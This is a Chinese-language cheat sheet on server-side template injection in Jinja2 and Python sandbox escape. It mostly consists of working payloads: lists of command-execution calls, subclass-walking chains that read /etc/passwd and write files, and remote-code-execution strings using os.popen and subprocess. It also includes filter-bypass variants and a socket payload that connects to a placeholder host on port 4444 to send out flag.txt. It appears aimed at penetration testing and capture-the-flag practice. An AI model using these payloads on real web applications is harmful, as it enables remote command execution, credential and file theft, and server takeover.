模板注入
SSTI服務端模板注入
一、什麼是SSTI
首先web服務的實現中使用了模板引擎,並且將引數傳遞的值當作模板一部分進行渲染(渲染這個詞可能有點抽象,可以簡單理解為將引數作為程式碼的一部分解釋並執行了),這就是SSTI,服務端模板執行。
模板注入原理
服務端可以使用哪些模板引擎?
由於服務端可以由python、java、php、javascript、ruby、golang等語言編寫,所以可以選擇的模板引擎挺多的,常見的有Jinja2、Django、Velocity、Groovy、Latte、ERB等待。
二、檢測
1.利用Template Injection Table來檢測
Template Injection Table:https://cheatsheet.hackmanit.de/template-injection-table/index.html
透過Template Injection Table複製中的測試payload輸入到引數中並執行,檢視回顯的報錯內容來判斷模板型別。
每一個測試payload下面的行都是代表一種模板執行後返回的結果,如“{#${{1}}#}}”,嘗試“http://114.67.175.224:15233/?flag={#${{1}}#}}”,結果如下圖所示。
2.工具檢測(最簡單的方法)
可以透過工具tinja進行檢測。
https://github.com/Hackmanit/TInjA
3.人工嘗試
Jinja2 (Python)
{{7*7}} = Error ${7*7} = ${7*7} {{foobar}} Nothing {{4*4}}[[5*5]] {{7*'7'}} = 7777777 {{config}} {{config.items()}} {{settings.SECRET_KEY}} {{settings}} <div data-gb-custom-block data-tag="debug"></div>
更多嘗試方法可以參考https://book.hacktricks.xyz/v/cn/pentesting-web/ssti-server-side-template-injection
在利用時還可以嘗試一些特殊變數:https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
CSTI客戶端模板注入
客戶端只能使用 JavaScript 模板引擎。
沙箱逃逸
python沙箱逃逸
常見命令執行方式
os.system("ls") os.popen("ls").read() commands.getstatusoutput("ls") commands.getoutput("ls") commands.getstatus("file/path") subprocess.call("ls", shell=True) subprocess.Popen("ls", shell=True) pty.spawn("ls") platform.os.system("ls") pdb.os.system("ls") #Import functions to execute commands importlib.import_module("os").system("ls") importlib.__import__("os").system("ls") imp.load_source("os","/usr/lib/python3.8/os.py").system("ls") imp.os.system("ls") imp.sys.modules["os"].system("ls") sys.modules["os"].system("ls") __import__("os").system("ls") #Other interesting functions open("/etc/passwd").read() open('/var/www/html/input', 'w').write('123') #In Python2.7 execfile('/usr/lib/python2.7/os.py') system('ls')
另外,Python2 input() 函式允許在程式崩潰之前執行 Python 程式碼。
先到達頂層類'object',方法如下:
{{ dict.__base__.__subclasses__() }} {{ dict.mro()[-1].__subclasses__() }} {{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }} {% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} {{ ().__class__.__base__.__subclasses__() }} {{ [].__class__.__mro__[-1].__subclasses__() }} {{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }} {{ request.__class__.mro()[-1].__subclasses__() }} {% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} {{ [].class.base.subclasses() }} {{ ''.class.mro()[1].subclasses() }}
我們可以透過檢視python預安裝的庫,看有哪些類可以使用。
預安裝包檢視:https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
讀寫檔案
# ''.__class__.__mro__[1].__subclasses__()[40] = File class {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} {{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
命令執行
# The class 396 is the class <class 'subprocess.Popen'> {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} # Without '{{' and '}}' <div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div> # Calling os.popen without guessing the index of the class {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ## Passing the cmd line in a GET param {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} ## Passing the cmd line ?cmd=id, Without " and ' {{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
命令執行--升級版
# Read file {{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }} # RCE {{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }} {{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} {{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %} ## Extra ## The global from config have a access to a function called import_string ## with this function you don't need to access the builtins {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }} # All the bypasses seen in the previous sections are also valid
使用預設安裝的 Python 包繞過沙盒